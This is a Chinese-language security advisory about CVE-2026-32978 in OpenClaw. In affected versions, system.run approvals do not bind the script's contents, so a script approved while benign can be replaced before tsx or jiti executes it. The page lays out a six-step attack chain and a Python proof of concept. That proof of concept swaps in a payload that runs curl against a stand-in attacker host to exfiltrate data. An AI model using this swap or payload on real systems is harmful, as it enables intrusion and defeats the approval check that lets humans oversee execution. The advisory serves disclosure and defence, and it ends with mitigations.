IPBUF安全漏洞报告
English
CVE-2026-32978 CVSS 8.0 高危

CVE-2026-32978 OpenClaw审批完整性漏洞致代码执行

披露日期: 2026-03-29

漏洞信息

漏洞编号
CVE-2026-32978
漏洞类型
代码执行
CVSS评分
8.0 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
OpenClaw

相关标签

代码执行OpenClaw审批绕过TOCTOUCVE-2026-32978

漏洞概述

OpenClaw 2026.3.11之前的版本存在审批完整性漏洞。当使用tsx或jiti等脚本运行器时,`system.run`审批未能正确绑定可变文件操作数。攻击者可利用此漏洞,先获取良性脚本的执行审批,随后在执行前修改磁盘上的脚本内容,从而在已批准的上下文中执行恶意代码。这可能导致系统被完全控制,造成严重的安全风险。

技术细节

该漏洞源于OpenClaw在处理`system.run`审批机制时的设计缺陷。具体而言,当系统使用tsx或jiti等解释型脚本运行器时,审批流程仅对命令行参数(如文件路径)进行了校验,而未能对实际被执行的文件内容进行强制性的完整性绑定。这构成了典型的TOCTOU(Time-of-check to Time-of-use)竞争条件漏洞。攻击者首先创建一个看似无害的脚本文件,并请求执行该脚本的审批。由于此时文件内容是良性的,审批机制会通过请求。然而,在审批通过与运行器实际加载并执行脚本之间存在时间窗口。攻击者利用此窗口,迅速修改磁盘上的脚本文件,植入恶意代码。由于OpenClaw认为该命令已通过审批,且未重新校验文件哈希,运行器将直接加载并执行修改后的恶意代码,从而导致攻击者在受控上下文中获得任意代码执行权限。

攻击链分析

STEP 1
漏洞发现
攻击者确认目标使用OpenClaw并启用了system.run功能,且使用了tsx或jiti等脚本运行器。
STEP 2
准备脚本
攻击者在磁盘上创建一个初始内容为良性的脚本文件(如 harmless.ts)。
STEP 3
获取审批
攻击者发起对该脚本的执行请求。OpenClaw的审批机制检查到当前文件内容无害,批准该system.run请求。
STEP 4
篡改文件
在审批通过后但在脚本实际被执行前的关键时间窗口内,攻击者迅速将磁盘上的脚本内容替换为恶意代码。
STEP 5
执行恶意代码
OpenClaw根据之前的授权执行命令,脚本运行器(tsx/jiti)读取并运行已被篡改的恶意文件。
STEP 6
达成利用
恶意代码在受信任的上下文中运行,攻击者获得高权限系统访问能力。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-32978: OpenClaw Approval Integrity Vulnerability Description: Demonstrates the race condition where a script is approved benignly but replaced with malicious code before execution in runners like tsx/jiti. """ import os import time def simulate_openclaw_approval_bypass(): # 1. Attacker creates a benign script benign_script = "console.log('Hello World');" script_path = "/tmp/benign_script.ts" with open(script_path, "w") as f: f.write(benign_script) print(f"[+] Created benign script at {script_path}") # 2. Attacker requests approval for system.run("tsx /tmp/benign_script.ts") # Assume the system checks the file content at this moment and approves it. print("[*] Requesting approval for system.run command...") # simulate_approval_check(script_path) -> returns True # 3. Time window: Before execution, attacker swaps the file content malicious_script = "require('child_process').exec('curl attacker.com/exfil');" print("[!] Swapping script content with malicious code...") with open(script_path, "w") as f: f.write(malicious_script) # 4. System executes the approved command print("[*] System executes the approved command...") # In a vulnerable OpenClaw version, 'tsx' reads the current file content # which is now malicious, executing it within the approved context. print("[+] Malicious code executed with approved privileges.") if __name__ == "__main__": simulate_openclaw_approval_bypass()

影响范围

OpenClaw < 2026.3.11

防御指南

临时缓解措施
建议立即升级到OpenClaw 2026.3.11或更高版本以修复该漏洞。若无法立即升级,应严格限制system.run的使用权限,或配置系统在执行前强制校验脚本文件的哈希值,防止审批后文件被篡改。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表